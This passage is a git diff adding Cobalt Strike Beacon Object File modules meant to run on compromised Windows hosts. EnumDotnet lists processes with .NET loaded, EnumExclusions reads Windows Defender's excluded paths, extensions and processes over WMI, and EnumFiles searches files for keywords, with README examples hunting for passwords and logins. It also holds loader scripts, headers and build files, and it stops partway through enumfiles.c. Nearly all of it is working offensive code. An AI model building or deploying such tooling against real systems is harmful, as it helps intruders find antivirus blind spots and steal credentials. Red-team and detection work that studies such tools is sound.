+	NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
+	NtOpenSection_t pNtOpenSection = (NtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
+	if (pNtGetNextProcess == NULL || pNtOpenSection == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
+		return -1;		
+	}
+	
+	WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
+	sectionName.Buffer = (PWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 500);
+
+	internal_printf("\nProcess name\t\t\t\t\t\tPID\n");
+	internal_printf("=====================================================================\n");
+
+	while (!pNtGetNextProcess(currentProc, MAXIMUM_ALLOWED, 0, 0, &currentProc)) {
+		
+		pid = KERNEL32$GetProcessId(currentProc);
+		if (pid == 0) continue;		
+
+		USER32$wsprintfW(ProcNumber, L"%d", pid);
+
+		MSVCRT$memset(sectionName.Buffer, 0, 500);
+		MSVCRT$memcpy(sectionName.Buffer, objPath, MSVCRT$wcslen(objPath) * 2);   // add section name "prefix"
+		KERNEL32$lstrcatW(sectionName.Buffer, ProcNumber);
+		sectionName.Length = MSVCRT$wcslen(sectionName.Buffer) * 2;		// finally, adjust the string size
+		sectionName.MaximumLength = sectionName.Length + 1;		
+	
+		InitializeObjectAttributes(&objectAttributes, &sectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
+
+		HANDLE sectionHandle = NULL;		
+		NTSTATUS status = pNtOpenSection(&sectionHandle, SECTION_QUERY, &objectAttributes);
+		
+		if (NT_SUCCESS(status)) {
+			KERNEL32$CloseHandle(sectionHandle);
+			
+			KERNEL32$K32GetProcessImageFileNameA(currentProc, psPath, MAX_PATH);
+			procName = SHLWAPI$PathFindFileNameA(psPath);
+			
+			//KERNEL32$MultiByteToWideChar(CP_ACP, 0, procName, -1, WCprocName, 256);
+			internal_printf("%-60s\t%d\n", procName, pid);
+			
+			dotNetFound = TRUE;
+		}
+	}
+	
+	return dotNetFound;
+}
+
+
+int go(void) {
+	BOOL res = NULL;
+	
+	if(!bofstart()) return;
+	
+	res = FindDotNet();
+	if(!res) {
+		BeaconPrintf(CALLBACK_ERROR, "No .NET process found!");
+	}
+	else {
+		printoutput(TRUE);
+	}
+
+	return 0;
+}
+

+ 22 - 0
KIT/EnumDotnet/enumdotnet.cna

@@ -0,0 +1,22 @@
+# author REDMED-X
+
+beacon_command_register(
+    "enumdotnet", "Find processes that most likely have .NET loaded.",
+    "INFO:\nFind processes that most likely have .NET loaded by searching for the section name: \BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>\n\n" .
+    "USAGE:\nenumdotnet\n\n");
+
+
+alias enumdotnet {
+    $bid = $1;
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumdotnet.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    blog($bid, "Tasked to search for processes that have .NET loaded..");
+
+    beacon_inline_execute($bid, $data, "go", $null);
+}
+
+

+ 29 - 0
KIT/EnumDotnet/enumdotnet.h

@@ -0,0 +1,29 @@
+#include <windows.h>
+
+//FindDotNet
+typedef NTSTATUS (NTAPI * NtGetNextProcess_t)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle);
+typedef NTSTATUS (NTAPI * NtOpenSection_t)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+//WINBASEAPI void *__cdecl MSVCRT$memcpy(void *Dst, const void *Src, size_t MaxCount);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+//WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+DECLSPEC_IMPORT int WINAPI USER32$wsprintfW(LPWSTR unnamedParam1, LPCWSTR unnamedParam2, ...);
+//WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+//WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+

BIN
KIT/EnumDotnet/enumdotnet.o


+ 15 - 0
KIT/EnumExclusions/README.md

@@ -0,0 +1,15 @@
+# EnumExclusions
+Enumerate Windows Defender for excluded files, folders, extentions and processes.
+
+>This operation requires elevated privileges. Furthermore, currently only Windows Defender exclusions are supported. However, this code is easily enhanced to also support other AV products that communicate via WMI. 
+
+
+## Usage
+* `enumexclusions`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumExclusions/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/EnumExclusions/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumexclusions.c
+move /y enumexclusions.obj enumexclusions.o
+

+ 223 - 0
KIT/EnumExclusions/enumexclusions.c

@@ -0,0 +1,223 @@
+#include <stdio.h>
+#include <Windows.h>
+#include <wbemidl.h>
+#include "enumexclusions.h"
+#include "beacon.h"
+
+#pragma comment(lib, "wbemuuid.lib")
+#pragma comment(lib, "ole32.lib")
+#pragma comment(lib, "oleaut32.lib")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+int EnumerateDefenderExclusions() {
+    HRESULT hr;
+	int result = 0;
+    
+    hr = OLE32$CoInitializeEx(0, COINIT_APARTMENTTHREADED);
+    if (FAILED(hr)) goto Cleanup;
+	
+	IWbemLocator *pLoc = NULL;
+	IID CLSIDWbemLocator = {0x4590f811, 0x1d3a, 0x11d0, {0x89, 0x1f, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24}};
+	IID IIDIWbemLocator = {0xdc12a687, 0x737f, 0x11cf, {0x88, 0x4d, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24}};
+    hr = OLE32$CoCreateInstance(&CLSIDWbemLocator, 0, CLSCTX_INPROC_SERVER, &IIDIWbemLocator, (LPVOID *)&pLoc);
+    if (FAILED(hr)) goto Cleanup;
+	
+	IWbemServices *pSvc = NULL;
+    hr = pLoc->lpVtbl->ConnectServer(pLoc, OLEAUT32$SysAllocString(L"ROOT\\Microsoft\\Windows\\Defender"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
+    if (FAILED(hr)) goto Cleanup;
+
+    hr = OLE32$CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
+
+    IEnumWbemClassObject* pEnumerator = NULL;
+	hr = pSvc->lpVtbl->ExecQuery(pSvc, OLEAUT32$SysAllocString(L"WQL"), OLEAUT32$SysAllocString(L"SELECT * FROM MSFT_MpPreference"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
+	if (FAILED(hr)) goto Cleanup;
+
+	internal_printf("\nExclusion enumeration results:\n====================================================\n");
+	
+	ULONG returnedCount = 0;
+	IWbemClassObject *pResult = NULL;
+	while (pEnumerator) {
+		hr = pEnumerator->lpVtbl->Next(pEnumerator, WBEM_INFINITE, 1, &pResult, &returnedCount);
+		if (0 == returnedCount) break;
+		
+		//folder and files
+		VARIANT pathName;
+		hr = pResult->lpVtbl->Get(pResult, L"ExclusionPath", 0, &pathName, 0, 0);
+		if (SUCCEEDED(hr)) {
+			if (pathName.vt == VT_NULL) {
+				internal_printf("[-] No file or folder exclusion configured\n");
+				result = 1; 
+			} else if (pathName.vt == (VT_ARRAY | VT_BSTR)) {
+				
+				SAFEARRAY* sa = pathName.parray;
+				BSTR* bstrArray;
+				long lBound, uBound;
+
+				OLEAUT32$SafeArrayGetLBound(sa, 1, &lBound);
+				OLEAUT32$SafeArrayGetUBound(sa, 1, &uBound);
+				OLEAUT32$SafeArrayAccessData(sa, (void**)&bstrArray);
+
+				for (long i = lBound; i <= uBound; i++) {
+					if (MSVCRT$wcscmp(bstrArray[i], L"N/A: Must be an administrator to view exclusions") == 0) {
+						BeaconPrintf(CALLBACK_ERROR, "Access Denied! The current user does not have sufficient permissions to enumerate exclusions.\n");
+						goto Cleanup;
+					} else {
+						internal_printf("[+] Found folder/file exclusion: %ls\n", bstrArray[i]);
+						result = 1; 
+					}
+				}
+				OLEAUT32$SafeArrayUnaccessData(sa);
+			} else BeaconPrintf(CALLBACK_ERROR, "Error occurred! Couldn't properly parse path data with error code: %d\n", pathName.vt);
+
+			OLEAUT32$VariantClear(&pathName);
+		}
+		
+		//extention
+		VARIANT extName;
+		hr = pResult->lpVtbl->Get(pResult, L"ExclusionExtension", 0, &extName, 0, 0);
+		if (SUCCEEDED(hr)) {
+			if (extName.vt == VT_NULL) {
+				internal_printf("[-] No extention exclusion configured\n");
+				result = 1; 
+			} else if (extName.vt == (VT_ARRAY | VT_BSTR)) {
+				
+				SAFEARRAY* sa = extName.parray;
+				BSTR* bstrArray;
+				long lBound, uBound;
+
+				OLEAUT32$SafeArrayGetLBound(sa, 1, &lBound);
+				OLEAUT32$SafeArrayGetUBound(sa, 1, &uBound);
+				OLEAUT32$SafeArrayAccessData(sa, (void**)&bstrArray);
+
+				for (long i = lBound; i <= uBound; i++) {
+					internal_printf("[+] Found extention exclusion: %ls\n", bstrArray[i]);
+					result = 1; 
+				}
+				OLEAUT32$SafeArrayUnaccessData(sa);
+			} else BeaconPrintf(CALLBACK_ERROR, "Error occurred! Couldn't properly parse extention data with error code: %d\n", extName.vt);
+			
+			OLEAUT32$VariantClear(&extName);
+		}
+		
+		//processes
+		VARIANT procName;
+		hr = pResult->lpVtbl->Get(pResult, L"ExclusionProcess", 0, &procName, 0, 0);
+		if (SUCCEEDED(hr)) {
+			if (procName.vt == VT_NULL) {
+				internal_printf("[-] No process exclusion configured\n");
+				result = 1; 
+			} else if (procName.vt == (VT_ARRAY | VT_BSTR)) {
+				
+				SAFEARRAY* sa = procName.parray;
+				BSTR* bstrArray;
+				long lBound, uBound;
+
+				OLEAUT32$SafeArrayGetLBound(sa, 1, &lBound);
+				OLEAUT32$SafeArrayGetUBound(sa, 1, &uBound);
+				OLEAUT32$SafeArrayAccessData(sa, (void**)&bstrArray);
+
+				for (long i = lBound; i <= uBound; i++) {
+					internal_printf("[+] Found process exclusion: %ls\n", bstrArray[i]);
+					result = 1; 
+				}
+				OLEAUT32$SafeArrayUnaccessData(sa);
+			} else BeaconPrintf(CALLBACK_ERROR, "Error occurred! Couldn't properly parse process data with error code: %d\n", procName.vt);
+			
+			OLEAUT32$VariantClear(&procName);
+		}
+	}
+	
+Cleanup:
+    if (pSvc) pSvc->lpVtbl->Release(pSvc);
+    if (pLoc) pLoc->lpVtbl->Release(pLoc);
+    if (pEnumerator) pEnumerator->lpVtbl->Release(pEnumerator);
+	if (pResult) pResult->lpVtbl->Release(pResult);
+    OLE32$CoUninitialize();
+
+	return result;
+}
+
+
+int go() {
+	int result = 0; 
+	
+	if(!bofstart()) return;
+	
+	result = EnumerateDefenderExclusions();
+	if(result) printoutput(TRUE);
+	
+	return 0;
+}

+ 26 - 0
KIT/EnumExclusions/enumexclusions.cna

@@ -0,0 +1,26 @@
+# author REDMED-X
+
+beacon_command_register(
+	"enumexclusions", "Check the AV for excluded files, folders, extentions and processes.",
+	"INFO:\nCheck the AV for excluded files, folders, extentions and processes. Currently only Windows Defender exclusions are supported.\n\n" .
+	"USAGE:\nenumexclusions\n\n");
+	
+alias enumexclusions {
+    $bid = $1;
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumexclusions.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid);
+
+    blog($bid, "Tasked to enumerate exclusions..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+
+
+
+

+ 27 - 0
KIT/EnumExclusions/enumexclusions.h

@@ -0,0 +1,27 @@
+#include <windows.h>  
+
+//EnumerateExclusions
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
+DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR, LONG, SOLE_AUTHENTICATION_SERVICE*, void*, DWORD, DWORD, void*, DWORD, void*);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown*, DWORD, DWORD, OLECHAR*, DWORD, DWORD, RPC_AUTH_IDENTITY_HANDLE, DWORD);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY*, unsigned int, long*);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY*, unsigned int, long*);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY*, void**);
+DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY* psa);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
+WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *);
+WINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int WINAPI MSVCRT$wcscmp(const wchar_t* str1, const wchar_t* str2);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumExclusions/enumexclusions.o


+ 23 - 0
KIT/EnumFiles/README.md

@@ -0,0 +1,23 @@
+# EnumFiles
+Search for matching files based on a word, extention or keyword in the file content. Wildcards are supported.
+
+>Keyword matching only works for text based files like .csv, .txt or .ps1 etc. So no MS Office files like .xlsx and .docs :(. 
+
+## Arguments
+* `<path to directory>`: specify a path to the directory from which to start searching (recursive searching supported).
+* `<search pattern>`: specify a single word or extention to search for (support wildcards).
+* `<keyword>`: leave empty OR specify a keyword to search for in text based files (support wildcards).
+
+## Usage
+* `enumfiles <path to directory> <search pattern> <(optional) keyword>`
+
+## Examples
+* `enumfiles C:\Users\RTO\Documents *.xlsx`
+* `enumfiles C:\Users\RTO *login*.* username`
+* `enumfiles C:\Users\RTO *.txt *pass*`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumFiles/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/EnumFiles/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumfiles.c
+move /y enumfiles.obj enumfiles.o
+

+ 278 - 0
KIT/EnumFiles/enumfiles.c

@@ -0,0 +1,278 @@
+#include <windows.h>
+#include <stdio.h>
+#include <stdbool.h>
+#include "enumfiles.h"
+#include "beacon.h"
+
+#define MAX_PREVIEW_LENGTH 200
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+bool keywordMatches(const char* content, const char* keyword) {
+    size_t keywordLen = MSVCRT$strlen(keyword);
+    
+    // If keyword is "*example*"
+    if (keyword[0] == '*' && keyword[keywordLen - 1] == '*') {
+        char tempKeyword[MAX_PATH]; 
+        MSVCRT$strncpy(tempKeyword, keyword + 1, keywordLen - 2);
+        tempKeyword[keywordLen - 2] = '\0';
+        if (MSVCRT$strstr(content, tempKeyword)) {
+            return true;
+        }
+    }
+    // If keyword is "example*"
+    else if (keyword[keywordLen - 1] == '*') {
+        char tempKeyword[MAX_PATH];
+        MSVCRT$strncpy(tempKeyword, keyword, keywordLen - 1);
+        tempKeyword[keywordLen - 1] = '\0';
+        if (MSVCRT$strncmp(content, tempKeyword, keywordLen - 1) == 0) {
+            return true;
+        }
+    }
+    // If keyword is "*example"
+    else if (keyword[0] == '*') {
+        if (MSVCRT$strlen(content) >= keywordLen - 1 && 
+            MSVCRT$strcmp(content + MSVCRT$strlen(content) - (keywordLen - 1), keyword + 1) == 0) {
+            return true;
+        }
+    }
+    // If keyword is "example"
+    else if (MSVCRT$strstr(content, keyword)) {
+        return true;
+    }
+
